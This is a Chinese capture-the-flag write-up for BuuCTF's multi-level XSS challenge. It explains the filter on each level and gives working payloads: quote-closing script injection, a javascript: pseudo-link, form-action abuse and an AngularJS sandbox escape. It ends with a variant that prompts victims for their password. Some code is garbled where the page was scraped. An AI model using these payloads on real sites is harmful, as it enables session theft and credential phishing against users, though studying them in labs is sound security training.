BuuCTF[第二章 web进阶]XSS闯关

您所在的位置:网站首页 password第六关答案 BuuCTF[第二章 web进阶]XSS闯关

BuuCTF[第二章 web进阶]XSS闯关

2023-08-12 02:57| 来源: 网络整理| 查看: 265

**

[第二章 web进阶]XSS闯关

**

一、解题思路

1.一来看了一下题目的说明 在这里插入图片描述 我们需要执行alert函数 那就开启闯关模式!!!

1.第一关,无任何过滤

一看这个URL就很奇怪没直接上手,二话没说成功下一关

http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level1?username=alert('xss')

在这里插入图片描述 通过观察url,我惊奇的发现闯关的关卡,是由level1,level2…,我一路向北直到level7,得到flag 在这里插入图片描述 我们关键在学习XSS,上述方法有点投机取巧了,进入正题,一关一关的闯

2.第二关,简单闭合绕过

重新从第二关开始,想使用第一关的套路,直接被没有回显

http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level2?username=alert('xss')

在这里插入图片描述 直接查看页面源代码 在这里插入图片描述 发现使用了js所编写的一个过滤,username被escape加密

if(location.search == ""){ location.search = "?username=xss" } var username = 'xss'; document.getElementById('ccc').innerHTML= "Welcome " + escape(username);

我所使用的绕过姿势是前面

var username = 'xss'; //使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)

使用’;结束前面的语句,后面加上函数alert(1);使用’1闭合后面的单引号,当然你也可以使用将其注释(//)

http://65c057a6-36f6-4ed7-90b8-1c25016edfec.node4.buuoj.cn/level2?username=1';alert(1);'1

在这里插入图片描述

3.第三关,单引号转义

还是先测试

alert(1)

发现不可以 在这里插入图片描述 查看页面源代码

在这里插入图片描述

好像也没发现什么问题,那么试试第二关的方法

';alert(1);'1

在这里插入图片描述 查看一下源代码,发现单引号(’)被转义

在这里插入图片描述

if(location.search == ""){ location.search = "?username=xss" } var username = '\';alert(1);'1'; document.getElementById('ccc').innerHTML= "Welcome " + username;

发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:

'';alert(1);'1

在这里插入图片描述

4.第四关,伪链接

进入第四关,就有点懵了,一直在死循环,查看页面源代码

在这里插入图片描述 伪链接 javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url,构造如下所示:

jumpUrl=javascript:alert(1)

在这里插入图片描述

5.第五关,getQueryVariable()函数绕过

进入到第五关 是一个表单查询,无论在输入框中输入,任意的东西,他都会回显报错 在这里插入图片描述 在这里插入图片描述 查看页面源代码 在这里插入图片描述 分析代码如下:

if(getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数 var autoForm = document.getElementById('autoForm'); autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //变量action执行getQueryVariable函数 autoForm.submit(); }else{ } function getQueryVariable(variable) { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

进入到下一关,直接得到flag 在这里插入图片描述

二、知识点整理 1.定义

跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等内容。

2.原理

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号({'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

JavaScript函数替换“alert(1)”,例如,我们可以使用以下payload创建提示,要求输入密码:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}

参考链接:https://blog.csdn.net/qq_51558360/article/details/114378503 参考链接:https://xz.aliyun.com/t/4638



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3